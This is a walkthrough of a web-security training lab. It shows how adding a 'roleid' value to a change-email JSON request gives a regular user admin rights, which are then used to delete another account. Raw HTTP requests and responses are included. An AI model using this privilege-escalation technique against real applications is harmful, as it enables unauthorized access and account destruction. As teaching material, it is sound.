

Lab: User role can be modified in user profile

This lab has an admin panel at `/admin`. It's only accessible to logged-in users with a `roleid` of 2. Solve the lab by accessing the admin panel and using it to delete the user `carlos`. You can log in to your own account using the following credentials: `wiener:peter`

Log in using the supplied credentials and access your account page.

My Account

Your username is: wiener

Your email is: wiener@normal-user.net

Email

wiener1@normal-user.net

Update email

Use the provided feature to update the email address associated with your account.

```
Request
Pretty  Raw  Hex
1 POST /my-account/change-email HTTP/1.1
2 Host: 0a3d000d047df66dc1a552950063008f.web-security-academy
3 Cookie: session=CXsDU80Ilcx18sR3IsV3A6xhJKMh5ZK1G
4 Content-Length: 35
5 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
6 Sec-Ch-Ua-Mobile: ?0
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Apple
8 Sec-Ch-Ua-Platform: "Windows"
9 Content-Type: text/plain; charset=UTF-8
10 Accept: */*
11 Origin: https://0a3d000d047df66dc1a552950063008f.web-securi
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://0a3d000d047df66dc1a552950063008f.web-secur
16 Accept-Encoding: gzip, deflate
17 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
18 Connection: close
19
20 {
    "email": "wiener1@normal-user.net"
}
```

Observe that the response contains your role ID.

```
Response
Pretty Raw Hex Render
1 HTTP/1.1 302 Found
2 Location: /my-account
3 Content-Type: application/json; charset=utf-8
4 Connection: close
5 Content-Length: 127
6
7 {
8   "username": "wiener",
9   "email": "wiener1@normal-user.net",
10  "apikey": "ayr6QZ2w9dV02LKvgJ39o0hp30SJ07hv",
11  "roleid": 1
12 }
```

Send the email submission request to Burp Repeater, add `"roleid":2` into the JSON in the request body, and resend it.

```
Edited request
Pretty Raw Hex
1 POST /my-account/change-email HTTP/1.1
2 Host: 0a3d000d047df66dc1a552950063008f.web-security-academy.net
3 Cookie: session=IHdJVSrmT0rvPePbGjIfzSfQDMBBgjuL
4 Content-Length: 51
5 Sec-Ch-Ua: "Not A;Brand";v="99", "Chromium";v="104"
6 Sec-Ch-Ua-Mobile: ?0
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
8 Sec-Ch-Ua-Platform: "Windows"
9 Content-Type: text/plain; charset=UTF-8
10 Accept: */*
11 Origin: https://0a3d000d047df66dc1a552950063008f.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://0a3d000d047df66dc1a552950063008f.web-security-academy.net
16 Accept-Encoding: gzip, deflate
17 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
18 Connection: close
19
20 {
21   "email": "wiener5@normal-user.net",
22   "roleid": 2
23 }
```

Observe that the response shows your `roleid` has changed to 2.

```
Response
Pretty Raw Hex Render
1 HTTP/1.1 302 Found
2 Location: /my-account
3 Content-Type: application/json; charset=utf-8
4 Connection: close
5 Content-Length: 127
6
7 {
8   "username": "wiener",
9   "email": "wiener5@normal-user.net",
10  "apikey": "ayr6QZ2w9dV02LKvgJ39o0hp30SJ07hv",
11  "roleid": 2
12 }
```

Browse to `/admin` and delete `carlos`.

Users

carlos - Delete
wiener - Delete

Congratulations, you solved the lab!

User deleted successfully!

Users

wiener - Delete
